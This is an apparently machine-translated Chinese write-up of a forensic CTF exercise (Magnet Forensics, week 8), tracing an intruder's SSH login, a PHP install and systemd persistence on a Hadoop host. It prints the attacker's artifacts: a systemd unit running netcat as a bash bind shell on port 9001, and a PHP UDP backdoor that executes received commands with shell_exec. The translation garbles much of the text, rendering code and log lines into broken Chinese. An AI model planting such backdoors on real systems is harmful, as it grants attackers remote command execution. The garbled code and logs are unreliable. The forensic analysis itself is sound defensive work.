6分钟阅读

Magnet Forensics正在运行一个每周的法医CTF。有关更多信息,请访问博客这是一种有趣的练习方式,所以让我们开始吧!

CTF职位

第1周 第2周 第3周 第4周 第5周 第6周 第7周

入门

从下载图像档案.org.

第八周的问题分为两部分。回答第一个问题就可以回答其他问题。

第一部分:威胁行为者安装了哪些程序包?选择最正确的答案!

在过去的三周里,我们一直在关注一个普通用户如何安装Hadoop。但就在我们眼前的是一个鬼鬼祟祟的威胁演员。对于这个问题,我们需要做两件事:

  • 区分威胁参与者和普通用户
  • 识别威胁参与者安装的软件包

在Linux系统中,我总是首先运行/var/logs/first。我对两个日志感兴趣:/var/log/apt/term.log和/var/log/auth.log。Auth显示登录事件。也许那里有可疑的东西。apt/term显示包管理器安装信息,包括命令。

通过auth.log,我们可以看到10月7日00:40左右;有人试图强行从192.168.2.129登录SSH。这在连接到Internet的Linux系统上并不罕见,但192.168.x.x是一个本地IP-哎哟!

10月7日00:42:44 master sshd[2055]:密码失败对于根来自192.168.2.129端口56194 ssh210月7日00:42:44 master sshd[2055]:收到来自的断开连接192.168.2.129端口56194:11:再见[预验证]10月7日00:42:44 master sshd[2055]:断开192.168.2.129端口56194[预验证]10月7日00:42:44 master sshd[2055]:PAM 1再次身份验证失败; 显示用户名称= 液体=0有效用户标识号=0tty公司=ssh标准诡计= 菱铁矿=192.168.2.129用户=10月7日00:42:44 master sshd[2105]:接受密码对于hadoop来自192.168.2.129端口56246 ssh210月7日00:42:44 master sshd[2105]:pam_unix(sshd:会话):会话已打开对于用户hadoop(液体=0)10月7日00:42:44 master systemd-logind[871]:用户hadoop的新会话5。10月7日00:42:44主sshd[2075]:密码失败对于来自的用户magnos无效192.168.2.129端口56204 ssh210月7日00:42:44 master sshd[2075]:收到来自192.168.2.129端口56204:11:再见[预验证]10月7日00:42:44 master sshd[2075]:断开192.168.2.129端口56204[预验证]

更糟糕的是,sshd[2105号]成功登录。如果稍后再看,我们可以看到以下内容:

10月7日01:23:48 master sshd[2410]:接受密码对于hadoop来自192.168.2.129端口56406 ssh210月7日01:23:48主机sshd[2410]:pam_unix(sshd:会话):会话已打开对于用户hadoop(液体=0)10月7日01:23:48 master systemd-logind[871]:用户hadoop的新会话8。<!--剪刀-->10月7日01:48:20主机sshd[2440]:已收到来自的断开连接192.168.2.129端口56406:11:用户断开连接10月7日01:48:20主机sshd[2440]:断开192.168.2.129端口5640610月7日01:48:20主机sshd[2410]:pam_unix(sshd:会话):会话已关闭对于用户hadoop10月7日01:48:20 master systemd-logind[871]:删除会话8。

现在我们有了可疑活动的时间框架——10月7日01:23:48至01:48:20(当地时间)。在SSH上花25分钟的时间就足以应付一些糟糕的事情。

考虑到时间跨度,让我们跳到apt日志。查看/var/log/apt/history.log,我们在预期的时间范围内安装了一个包。

开始日期:2019-10-07 01:30:31命令行:apt安装php(电话)安装:php7.0-cli:amd64(7.0.33-0ubuntu0.16.04.6,自动),公共电话:amd64(1:35ubuntu6.1,自动),第7页。<!--剪刀-->结束日期:2019-10-07 01:30:41

尝试“php”,以及冰!成功。

第二部分:为什么?(是否安装了软件包)-选项如下:

  • 托管数据库
  • 为网页提供服务
  • 运行php webshell
  • 创建虚假的systemd服务

我们的第一道多项选择题!这很有趣,因为每个选项本质上都是一个假设。

我们感兴趣的是嫌疑人登录时发生了什么?为此,我一直很喜欢时间轴分析.

我决定将案件载入尸检,尸检有一个有用的时间线工具。日志文件中的时间戳基于写入日志时的本地时钟设置。然而,我通常让验尸显示UTC,因为我不确定该系统处于哪个时区。

我可以计算偏移量,因为我知道PHP是在7号01:30安装的。PHP7.0于10月6日UTC 22:30安装。这意味着系统的时区必须为UTC+3。在尸检中查看文件系统元数据时,我们对10月6日22:23至22:49特别感兴趣。

我(最初)也会对那段时间创建的文件感兴趣。修改也很重要,但我将从创建开始,看看会弹出什么。从10月6日01:30开始,我们看到PHP安装了apt。大约60秒后,创建了一个名为“cluster.service”的系统文件。安装PHP并不会安装集群,所以我会将其标记为奇怪。

尸检中的时间轴视图

如果我们研究从22:30到22:39的时间线,只创建了几个文件,但它们很糟糕。22点34分,我们安装了一些netcat(nc)实例。22:37 netcat成功创建为/usr/bin/master。22点38分,我们在systemd中创建了另一个cluster.service,这一次执行netcat(作为主服务器)。

[单位]描述=守护程序群集服务之后=网络.目标StartLimitIntervalSec(启动限制间隔秒)=0[服务]类型=简单的重新启动=总是重新启动秒=1用户=执行启动=/usr/bin/master-左心室压9001-e(电子)/垃圾桶/垃圾桶[安装]通缉犯=多用户目标

我们还创建了.viminfo文件,其中包含嫌疑人列表,哈哈!该文件确实包含许多文件编辑的证据,包括/etc/sytemd/system/cluster.service。

    ###         4. 玛丽亚姆·卡德###
“3行0###         3. Israa Alshamari###"4线路0###         2. 加齐·阿勒奈马特###
“5行0###1。阿里·哈迪###"6线路0###PSUT团队成员:

回过头来看,我一直在检查嫌疑人何时可能在系统中。查看22:28,我们看到创建了/etc/network/interfaces~文件。也有点可疑。看一看,我们发现:

[单位]描述=守护程序群集服务之后=网络.目标StartLimitIntervalSec(启动限制间隔秒)=0[服务]类型=简单的重新启动=总是重新启动秒=1用户=执行启动=/usr/bin/env-php/usr/local/hadop/bin/cluster.php[安装]通缉犯=多用户目标

这些内容也可以在systemd和ssl/certs中找到。嫌疑犯正试图坚持下去。Netcat很有趣,但它并没有完全回答嫌疑人为什么安装PHP的问题。Execstart正在尝试执行“cluster.php”。让我们来看一看:

<?php(电话)错误_报告(0);
$袜子 =套接字_创建(AF_INET、SOCK_DGRAM、SOL_UDP);//套接字设置选项($袜子,SOL_SOCKET,SO_REUSEADDR,1); 
如果 (套接字绑定($袜子,'0.0.0.0', 17001) == 真的) {
        $错误代码 =套接字_最后_错误();
        $error_msg(错误消息) =套接字错误($错误代码);//回声“代码:”,$错误代码,“消息:”,$error_msg(错误消息);
        对于 (;;) {套接字从($袜子,$消息, 1024000, 0,$ip,$端口);
            $回复 =外壳执行程序($消息);套接字_结束($袜子,$回复,斯特伦($回复), 0,$ip,$端口);
        }
其他的 {  出口;   }

下面是一个PHP脚本,在端口17001上设置套接字,用于监听连接。PHP将使用shell_exec在本地运行命令,并根据收到的命令通过套接字将输出发送回。换句话说,从远程系统运行本地命令。Netcat也做同样的事情。

那么,为什么要安装PHP?老实说,我认为最正确的答案是“运行PHP webshell”,但这是不正确的。下一个最佳答案是“创建一个虚假的系统服务”。冰!成功。

我没有看到数据库或网页的证据。为了确保这一点,我检查了php.ini配置以及/var/www是否存在(它不存在)。

吸取的教训

对于大多数CTF,我一直在使用命令行工具或我想使用的新工具。本周,我回到了尸检,并设想了时间线。我(再次)了解到,具有支持的可疑时间范围的良好时间线可视化可以节省大量时间。在这种情况下,我能够使用auth.log获得一个很好的时间范围。将时间线缩放到该范围可以很好地讲述整个故事。